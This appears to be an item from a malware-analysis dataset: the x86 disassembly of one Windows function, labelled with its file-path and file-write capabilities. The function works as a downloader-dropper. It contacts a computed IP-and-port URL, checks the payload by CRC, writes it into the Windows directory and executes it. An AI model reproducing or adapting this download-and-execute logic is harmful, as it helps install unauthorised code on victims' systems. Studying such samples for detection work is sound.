Function at 0x403430
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
call fcn.004017b0
mov dword [0x50be40], eax
mov eax, 1
test eax, eax
je 0x40385c
call fcn.00401100
mov ecx, dword [0x405a94]
push ecx
call fcn.00401040
add esp, 4
push eax
mov edx, dword [0x405a94]
push edx
call fcn.00401030
add esp, 4
push eax
mov eax, dword [0x405a94]
push eax
call fcn.00401020
add esp, 4
push eax
mov ecx, dword [0x405a94]
push ecx
call fcn.00401010
add esp, 4
push eax
mov edx, dword [0x405a94]
push edx
call fcn.00401000
add esp, 4
push eax
push str.http:___d._d._d._d:_d_x.cgi
push 0x40b014
call sub.MSVCRT.dll_sprintf
add esp, 0x1c
mov byte [0x40a3b0], 0
cmp dword [0x409da4], 0
je 0x4034d0
mov eax, dword [0x409da4]
mov dword [ebp - 0x28], eax
jmp 0x4034d7
mov dword [ebp - 0x28], 0x405a48
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [0x40b414]
push edx
push str.X_Info:__d_0_0_0_0__s_n
mov edi, 0x40a3b0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
add ecx, 0x40a3b0
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0x10
movsx eax, byte [0x40a3b0]
test eax, eax
je 0x403528
mov edi, 0x40a3b0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
mov dword [ebp - 0x2c], ecx
jmp 0x40352f
mov dword [ebp - 0x2c], 0
push 0
push 0
mov ecx, dword [ebp - 0x2c]
push ecx
movsx edx, byte [0x40a3b0]
neg edx
sbb edx, edx
and edx, 0x40a3b0
push edx
push 0x100000
push 0x40b93c
push 0x40b014
call fcn.00401d10
add esp, 0x1c
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jg 0x40357e
push 0x36ee80
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.00401100
jmp 0x403443
mov eax, dword [ebp - 8]
mov byte [eax + 0x40b93c], 0
mov ecx, dword [ebp - 8]
push ecx
push 0x40b93c
call fcn.004017f0
add esp, 8
mov dword [ebp - 4], 0
mov byte [0x40b528], 0
mov dword [ebp - 0x1c], 0
push str.BIN
push 0x40b93c
call sub.MSVCRT.dll_strstr
add esp, 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4035d2
mov edx, dword [ebp - 0x18]
add edx, 4
mov dword [ebp - 0x18], edx
push 0x40501c
push 0x40b93c
call sub.MSVCRT.dll_strtok
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4036d9
mov dword [ebp - 0x30], 0x405018
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov dl, byte [ecx]
mov byte [ebp - 0x35], dl
mov eax, dword [ebp - 0x30]
cmp dl, byte [eax]
jne 0x40363b
cmp byte [ebp - 0x35], 0
je 0x403632
mov ecx, dword [ebp - 0x34]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x36], dl
mov eax, dword [ebp - 0x30]
cmp dl, byte [eax + 1]
jne 0x40363b
add dword [ebp - 0x34], 2
add dword [ebp - 0x30], 2
cmp byte [ebp - 0x36], 0
jne 0x4035fe
mov dword [ebp - 0x3c], 0
jmp 0x403643
sbb ecx, ecx
sbb ecx, 0xffffffff
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x40], edx
cmp dword [ebp - 0x40], 0
jne 0x403656
mov dword [ebp - 0x1c], 1
push 5
push str.NAME
mov eax, dword [ebp - 0x14]
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
jne 0x403697
mov ecx, dword [ebp - 0x14]
add ecx, 5
mov edi, ecx
mov edx, 0x40b528
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 4
push str.CRC
mov ecx, dword [ebp - 0x14]
push ecx
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
jne 0x4036c2
mov edx, dword [ebp - 0x14]
add edx, 4
push edx
call sub.MSVCRT.dll_atoi
add esp, 4
mov dword [ebp - 4], eax
jmp 0x4036d9
push 0x40501c
push 0
call sub.MSVCRT.dll_strtok
add esp, 8
mov dword [ebp - 0x14], eax
jmp 0x4035e7
cmp dword [ebp - 0x1c], 0
jne 0x4036f4
push 0x36ee80
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.00401100
jmp 0x403443
movsx eax, byte [0x40b528]
test eax, eax
je 0x40370b
cmp dword [ebp - 4], 0
je 0x40370b
cmp dword [ebp - 0x18], 0
jne 0x403720
push 0x36ee80
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.00401100
jmp 0x403443
mov ecx, dword [ebp - 0x18]
sub ecx, 0x40b93c
mov edx, dword [ebp - 8]
sub edx, ecx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.004033e0
add esp, 8
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0xc]
je 0x403761
push 0x36ee80
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.00401100
jmp 0x403443
mov edi, 0x40b528
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
mov eax, 0x400
sub eax, ecx
sub eax, 2
push eax
push 0x40b014
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
test eax, eax
je 0x403857
mov edi, 0x405a14
mov edx, 0x40b014
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40b528
mov edx, 0x40b014
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x405380
push 0x40b014
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x403857
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 1
mov edx, dword [ebp - 0x18]
push edx
call sub.MSVCRT.dll_fwrite
add esp, 0x10
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
call fcn.00403080
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x10]
jne 0x403857
push 0
push 0x40b014
push 0x40b014
call sub.MSVCRT.dll__execl
add esp, 0xc
call fcn.00403080
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret